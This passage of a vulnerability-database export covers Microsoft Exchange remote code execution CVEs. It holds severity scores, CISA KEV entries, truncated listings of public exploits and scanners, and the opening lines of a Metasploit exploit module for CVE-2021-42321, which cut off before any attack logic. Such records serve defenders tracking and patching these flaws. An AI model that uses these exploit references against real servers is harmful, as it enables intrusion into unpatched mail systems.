"2023-06-08T16:45:40", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-27065, CVE-2021-27078.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26858", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-08T16:45:41", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26857", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-08T16:45:41", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26855", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-05-23T17:17:33", "description": "An authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-17T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-17T00:00:00", "id": "CISA-KEV-CVE-2021-42321", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-05T15:37:18", "description": "Microsoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-0688", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cnvd": [{"lastseen": "2022-11-05T08:35:07", "description": "Microsoft Exchange Server is a set of email service programs from Microsoft Corporation (USA). Microsoft Exchange Server is a remote code execution vulnerability that can be exploited by attackers to remotely execute arbitrary code on the server by sending specially crafted malicious data to the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-12T00:00:00", "type": "cnvd", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability (CNVD-2021-90307)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-24T00:00:00", "id": "CNVD-2021-90307", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-90307", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2023-05-23T17:38:07", "description": "# CVE-2021-42321\nMicrosoft...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-23T02:26:26", "type": "githubexploit", "title": "Exploit for CVE-2021-42321", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2023-03-13T18:05:45", "id": "55F902F5-E290-577E-A48D-FB56855B1CBB", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:19:46", "description": "# exch_CVE-2021-42321\n\n## \u672c\u6587\u662f7bits\u5b89\u5168\u56e2\u961f\u6587\u7ae0\u300aDo...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-08T13:00:23", "type": "githubexploit", "title": "Exploit for CVE-2021-42321", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2023-04-21T16:00:33", "id": "4A657558-ABE9-5708-B292-B836048EF1AD", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:35:26", "description": "# CVE-2020-0688 Scanner\nThis is a little dirty Script to Check f...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T23:55:04", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-15T14:38:28", "id": "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-15T20:18:15", "description": "# cve-2020-0688\nUsage:\n```\nusage: cve-2020-0688.py [-h] -s SERVE...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T02:54:27", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-08-15T15:41:33", "id": "AAC2853C-A655-5E80-9262-A654102B874A", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T17:57:08", "description": "# Exchange Remote Code Execution (cve-2020-0688) - RED TEAM [MOD...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-12T08:28:35", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-07-02T07:14:36", "id": "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:12:24", "description": "[![made-with-bash](https://img.shields.io/badge/Made%20with-Bash...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-29T15:16:24", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-03-20T06:54:20", "id": "F1CA855B-967C-5A5E-9256-FDDE87702713", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:51:57", "description": "<b>[CVE-2020-0688] Microsoft Exchange Server Fixed Cryptographic...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-17T12:41:51", "type": "githubexploit", "title": "Exploit for Use of Hard-coded Credentials in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-08-19T10:39:41", "id": "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T14:46:03", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-28T16:04:30", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-15T14:38:28", "id": "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:29:25", "description": "# CVE-2020-0688\r\n\r\nA remote code execution vulnerability exists ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-04T10:48:40", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-10-13T07:24:05", "id": "39732E15-7AF0-5FC2-851B-B63466C0F2F2", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:30:16", "description": "# ecp_slap\nThis proof-of-concept for [CVE-2020-0688](https://cve...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-23T01:18:13", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-03-25T01:04:55", "id": "8C937DCD-4090-5A44-9361-4D9ECF545843", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}], "packetstorm": [{"lastseen": "2022-02-25T15:08:56", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-25T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange Server Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-25T00:00:00", "id": "PACKETSTORM:166153", "href": "https://packetstormsecurity.com/files/166153/Microsoft-Exchange-Server-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'nokogiri' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude 